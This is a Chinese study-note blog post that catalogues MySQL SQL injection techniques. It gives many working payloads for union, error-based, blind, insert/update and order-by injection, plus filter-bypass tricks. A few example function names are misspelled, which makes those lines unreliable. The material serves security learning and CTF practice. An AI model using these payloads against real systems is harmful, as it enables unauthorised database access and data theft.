前言

最近,感觉知识学的有点混乱,来整理一波自己的知识。先总结一下sql注入吧。

知识储备

sql注入中常用到的库和表

information_schema库

这个数据库中保存着mysql服务器所保存的所有的其他数就库的信息,如数据库名,数据库的表名,表的字段名称和访问权限。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

mysql库

MySQL库中user表中存有所有的MySQL用户信息。
注意:自MySQL的5.7版本后,密码字段不再是password字段而是authentication_string字段。

sql注入中常用到的函数

database() 返回当前数据库名
例:select database();

version()  返回MySQL服务器的版本
例:select version();

user()或 system_user()      返回当前登陆用户名
例:select user();
1. system_user() 系统用户名
2.user() 用户名
3.current_user() 当前用户

@@datadir    读取数据库路径
@@basedir   读取数据库安装路径
@@version_compile_os    读取操作系统信息
同例:select @@basedir;

load_file()  读取本地文件的函数
例:select load_files('d:\1.txt'); 
(注:Linux系统路径是/ windows系统是\)

into outfile   将查询结果导出到本地文件
例:select * from yang into outfile 'D:\1.txt';

count()  计算表中总的行数
例:select count(*) from user;

concat(s1,s2,s3,...)  函数返回结果为链接参数产生的字符串,如果有一个参数为null则返回值为null  

substr(s,n,len) 和substring() 和 mid()作用相同;函数表示从字符串s中返回长度为len的字符串,起始位置为n,若n为负值则是从最后开始,输出顺序与原来一样。

Left(string, n )        string为要截取的字符串,n为长度。

length()          返回字符串的字节长度。utf8中,一个汉字是三个字节。
例:select length('like');

ascii()           返回字符串最左边字符的ascii值。如果字符串为空,返回0。如果字符串为null则返回null。
例:select asill('like');

sleep(n)   让服务器强制停留n秒后执行。
例:select  sleep(5);

if(a,b,c)   如果a条件为真,则返回b的值。a条件为假则返回c的值。
例:select  if(1<2,2,3);

HEX(number)     如果number不是整数,则在进行运算前将其四舍五入为最接近的整数,十六进制数值然后返回该数的表示形式;如果number是NULL,将返回NULL值..如果number是一个字符串,则返回number的十六进制字符串表示形式,其中number里的每个字符被转化为两个十六进制数字
例:select hex(21);

select hex(21);

CONV(N,from_base,to_base)      N是要转换的数据,from_base是原进制,to_base是目标进制。如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数。
例:select  conv(20,10,16);

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串。
此函数有长度限制,显示的内容长度最长 32 位。 

concat(s1,s2,s3,…)
函数返回结果为链接参数产生的字符串,如果有一个参数为null则返回值为null
Eewzm8.png
例:select concat (id, name, score) from tt2;

group_concat() 将在同一分组的内内容连接起来,返回一个字符串结果。
Ee0kpn.png
Ee0Kk4.png
Ee0Qh9.png

常用语句

获取所有的数据库库名:select group_concat(schema_name) from information_schema.schemata

获取某个数据库的所有表名:select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

获取某个表所有的列名:Select group_concat(column_name) from information_schema.columns where table_name='xxxxx'

获取某列的内容:Select *** from ****

注入分类

根据注入手法分:

  1. 联合查询注入
  2. 报错型注入
  3. 盲注
    1. 布尔型注入
    2. 基于时间的盲注

联合注入

条件:需要有显示位。

例:$sql=select user,pwd from user where id='$id';

注入:
$id=0' union select (database()),'2

首先,用order by 来猜列数
$id=1' order by 2#
然后注入。。。

报错注入

条件:显示报错信息

常用的报错方法:

  • floor
  • ExtractValue(有长度限制,最长32位)
  • UpdateXml(有长度限制,最长32位)
  • NAME_CONST(适用于低版本,不太好用)
  • Error based Double Query Injection
  • exp(5.5.5以上)
  • polygon
floor

floor()报错注入准确地说应该是floor,count,group by冲突报错

表名:
?id=1" and (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

库名:
?t=1111+and (select+1+from+(select+count(*),concat((select+concat(0x7e,schema_name,0x7e)+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from information_schema.tables group by x)a); --+
ExtractValue(有长度限制,最长32位)
?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e))--+
UpdateXml(有长度限制,最长32位)
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)--+
NAME_CONST(适用于低版本,不太好用)
?id=1 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--+
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
polygon
select * from users where username=""and polygon (password);
//password为某列列名;

盲注

注:MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

根据真假返回的页面不同或响应时间不同可以用来盲注

布尔盲注

布尔盲注主要利用的点在于值的真与假返回的页面内容不同。
常见的构造:

//正常情况
' or bool#
true' and bool#
' or bool or '
true' and bool and '1
' and if(bool,1,2)#

//异或盲注
'^(bool)='1
'^(bool)#

//其他
' or (case when (bool) then 1 else 0 end)#
' or ((bool) in (1)) or '0
' or ((bool) in (1))#

常见绕过方式:
or 可以用 ||代替或双写或大小写绕过
and 可以用&&代替或双写或大小写绕过
=可以用<>代替也可用><比较产生布尔值
构造逻辑判断

ASCII()、ORD()字符转ASCII
CHAR() ASCII转字符
一般用来辅助盲注。

left(user(),1)>'r'  
right(user(),1)>'r'  
substr(user(),1,1)='r'  
mid(user(),1,1)='r' 

greatest("ct",database())= "ct"////返回最大值再与字符串比较
least("c",database())="c"//返回最小值再与字符串比较

//过滤逗号
POSITION('f' in database()) //返回的是字符的位置第一个字符的返回值是1
database() regexp '^[a-z]'//正则匹配
database() like 'c%' //注意%是通配符,建议写脚本的时候时候写到字符集最后面
mid(database() from 1 for 1)='c'

利用order by 盲注的骚姿势

mysql> select * from user where username='' or 1 union select 1,2,3,'1' order by 4;
+----+----------+-------+----------+
| id | username | money | password |
+----+----------+-------+----------+
|  1 | 2        |     3 | 1        |
|  2 | asd      | 10000 | 123      |
|  1 | user     | 10000 | user     |
+----+----------+-------+----------+
3 rows in set (0.00 sec)

mysql> select * from user where username='' or 1 union select 1,2,3,'2' order by 4;
+----+----------+-------+----------+
| id | username | money | password |
+----+----------+-------+----------+
|  2 | asd      | 10000 | 123      |
|  1 | 2        |     3 | 2        |
|  1 | user     | 10000 | user     |
+----+----------+-------+----------+
3 rows in set (0.00 sec)

这样就能盲注出你想要的数据。(不太实用)

时间盲注

时间盲注一般用于页面无回显不同,只能通过响应时间来判断真假。
常用构造:

if((bool),sleep(3),0)
or (case when (bool) then sleep(3) else 0 end)

'or if((bool),(select BENCHMARK(10000000,md5('a'))),1)--//bool为真时延时

' or if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#//%d是占位符,笛卡尔积来进行延时注入

insert&update注入

insert和update一般用报错注入

mysql> insert into user values('2','1' and updatexml(1,concat(0x7e,substr((database()),1,32),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~csrf~'

mysql> update user set username=''and updatexml(1,concat(0x7e,substr((database()),1,32),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~csrf~'

如果没有错误回显,insert可以用时间盲注。

mysql> insert into user values('4','1','2','1' and sleep(3));//列数与表列数相同
Query OK, 1 row affected (3.00 sec)

update 可以使用布尔盲注和时间盲注。

如果存在insert和uodate更新后的数据可见的话,可以利用mysql中字符串与数字运算时被当成0进行运算。

mysql> select 'aaa1'+1;
+----------+
| 'aaa1'+1 |
+----------+
|        1 |
+----------+
1 row in set, 1 warning (0.00 sec)

我们可以利用查询的数据转化为10进制,然后进行运算,拿到我们计算的结果,在进行转化回去即可(一般六位一转,因为七位数太大会被mysql自动进行科学计数法存储,导致数据不准确,无法进行还原)

mysql> update user set password=''+conv(hex(substr(user(),1+(1-1)*6,6)),16,10);
ERROR 1582 (42000): Incorrect parameter count in the call to native function 'hex'
mysql> update user set password=''+conv(hex(substr(user(),1,6)),16,10);
Query OK, 1 row affected (0.09 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select  * from user;
+----+----------+-------+-----------------+
| id | username | money | password        |
+----+----------+-------+-----------------+
|  1 | user     |     0 | 125822936825964 |
+----+----------+-------+-----------------+
1 row in set (0.00 sec)

mysql> select  unhex(conv(125822936825964,10,16));
+------------------------------------+
| unhex(conv(125822936825964,10,16)) |
+------------------------------------+
| root@l                             |
+------------------------------------+
1 row in set (0.09 sec)

在update注入时,取数据时用到的时用的语句:

select username from (select username from users where username=0x61646d696e)x
或
select group_concat(username) from (select username from users where username=0x61646d696e)x
username为列名。

取其他的数据时和别的注入相同。

order by 注入

报错注入

mysql> select * from user order by 1 and extractvalue(1, concat(0x7e, (select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

布尔盲注

基于if()盲注

order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。
需要列名的方法:

order by if((bool),id,username)

这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。

不需要知道列名的方法:

order by if((bool),1,(select id from information_schema.tables))

order by IF((bool),1,(select 1 union select 2))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面

基于rand的盲注
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
|  9 | NULL |
|  6 | NULL |
|  5 | NULL |
|  1 | dss  |
|  0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
|  1 | dss  |
|  6 | NULL |
|  0 | dasd |
|  5 | NULL |
|  9 | NULL |
+----+------+

可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。

order by rand(ascii(mid((select database()),1,1))>32)

延时盲注

不推荐,因为每条数据都会执行延时,能用其他方法就不使用延时。

order by IF(1,sleep(3),0);

延迟时间=sleep(1)的秒数*所查询数据条数。
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

bypass

information被ban的绕过:

mysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats
查库名
select database_name from mysql.innodb_table_stats group by database_name;
查表名
select table_name from mysql.innodb_table_stats where database_name=database();

  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • php代码审计之文件包含

    文件包含文件包含分为本地文件包含(Local File Inclusion,简LFI)和远程文件包含(Remote File Inclusion,简RFI)。 在php中常见的文件包含函数有: include() include_on...

    php代码审计之文件包含
  • 文件上传漏洞

    前言我是根据upload-lab来总结文件上传漏洞。思维导图: pass-01提示:在客户端使用js对不合法图片进行检查!所以我们可以通过抓包,改包就可以绕过。。。 pass-02提示:服务端对数据包的MIME进行检查! 这里是对Co...

    文件上传漏洞
  • linux基本操作

    centos常用命令及快捷键整理常用linux命令文件和目录cd /home 进入 '/home' 目录 cd .. 返回上一...

    linux基本操作
  • linux查看系统信息

    linux系统下经常查看各种信息,总结一下。 系统uname -a # 查看内核/操作系统/CPU信息 head -n 1 /etc/issue # 查看操作系统版本 cat /etc/issue | ...

    linux查看系统信息
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解